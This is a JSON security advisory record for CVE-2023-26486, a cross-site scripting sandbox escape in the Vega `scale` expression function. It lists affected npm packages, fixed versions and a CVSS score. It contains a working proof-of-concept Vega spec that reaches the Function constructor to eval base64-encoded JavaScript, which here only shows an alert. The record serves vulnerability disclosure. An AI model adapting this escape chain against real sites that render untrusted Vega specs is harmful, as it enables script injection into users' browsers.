{"id":"CVE-2023-26486","aliases":["GHSA-4vq7-882g-wcg4"],"url":"https://o3.security/vulnerability/CVE-2023-26486","summary":"Vega `scale` expression function cross site scripting","details":"### Summary\nThe Vega `scale` expression function has the ability to call arbitrary functions with a single controlled argument. This can be exploited to escape the Vega expression sandbox in order to execute arbitrary JavaScript.\n\n### Details\n\nThe [scale](https://github.dev/vega/vega/blob/72b9b3bbf912212e7879b6acaccc84aff969ef1c/packages/vega-functions/src/functions/scale.js#L36-L37) expression function passes a user supplied argument `group` to [getScale](https://github.dev/vega/vega/blob/72b9b3bbf912212e7879b6acaccc84aff969ef1c/packages/vega-functions/src/scales.js#L6), which is then used as if it were an internal context. The `context.scales[name].value` is accessed from `group` and called as a function back in `scale`.\n\n### PoC\nThe following Vega definition can be used to demonstrate this issue executing the JavaScript code `alert(1);`\n```json\n{\n  \"$schema\": \"https://vega.github.io/schema/vega/v5.json\",\n  \"data\": [\n    {\n      \"name\": \"XSS PoC\",\n      \"values\": [1],\n      \"transform\": [\n        {\n          \"type\": \"formula\",\n          \"as\": \"amount\",\n          \"expr\": \"scale('func', null,  {context: {scales: {func: {value: scale('func', 'eval(atob(\\\"YWxlcnQoMSk7\\\"))', {context: {scales: {func: {value: [].constructor.constructor}}}})}}}})\"\n        }\n      ]\n    }\n  ]\n}\n```\n\nThis can be viewed in the Vega online IDE at https://vega.github.io/editor/#/url/vega/N4IgJAzgxgFgpgWwIYgFwhgF0wBwqgegIDc4BzJAOjIEtMYBXAI0poHsDp5kTykSArJQBWENgDsQAGhAATJJhSoA2qHFIEcNCAAaAZT0ACAApsAwtJDEkAGwZwIaZQEYAujMwAnJOIgAzNk8EJ1BMAE8cLXQAoIYbFBkkR3QNNgZxTEs4AA8cT21oWzgACgByP3SoUqlDcTibGsNgKAlMHMxUJsKbB07gCvEoPus7OE7ukvLK6sNSuBHihTYmYoAdEABNAHVsmyhxAEU2AFk9AGsAdnWASmuZ5tb2von8JoGhppH7TuVXShbfF4GFBMIF-hIIECQYEAL5wmHXeEIkAw1yomFAA\n\n","published":"2023-03-03T23:48:41.382Z","modified":"2026-10-28T02:30:48.730781642Z","cvss":{"score":6.5,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":2,"affectedPackages":[{"ecosystem":"npm","name":"vega-functions","fixedVersion":"5.13.1"},{"ecosystem":"npm","name":"vega","fixedVersion":"5.23.0"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/vega/vega/releases/tag/v5.23.0"},{"type":"WEB","url":"https://github.dev/vega/vega/blob/72b9b3bbf912212e7879b6acaccc84aff969ef1c/packages/vega-functions/src/functions/scale.js#L36-L37"},{"type":"WEB","url":"https://github.dev/vega/vega/blob/72b9b3bbf912212e7879b6acaccc84aff969ef1c/packages/vega-functions/src/scales.js#L6"},{"type":"WEB","url":"https://vega.github.io/editor/#/url/vega/N4IgJAzgxgFgpgWwIYgFwhgF0wBwqgegIDc4BzJAOjIEtMYBXAI0poHsDp5kTykSArJQBWENgDsQAGhAATJJhSoA2qHFIEcNCAAaAZT0ACAApsAwtJDEkAGwZwIaZQEYAujMwAnJOIgAzNk8EJ1BMAE8cLXQAoIYbFBkkR3QNNgZxTEs4AA8cT21oWzgACgByP3SoUqlDcTibGsNgKAlMHMxUJsKbB07gCvEoPus7OE7ukvLK6sNSuBHihTYmYoAdEABNAHVsmyhxAEU2AFk9AGsAdnWASmuZ5tb2von8JoGhppH7TuVXShbfF4GFBMIF-hIIECQYEAL5wmHXeEIkAw1yomFAA"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2023/26xxx/CVE-2023-26486.json"},{"type":"ADVISORY","url":"https://github.com/vega/vega/security/advisories/GHSA-4vq7-882g-wcg4"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-26486"},{"type":"PACKAGE","url":"https://github.com/vega/vega"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:30:48.730781642Z"}}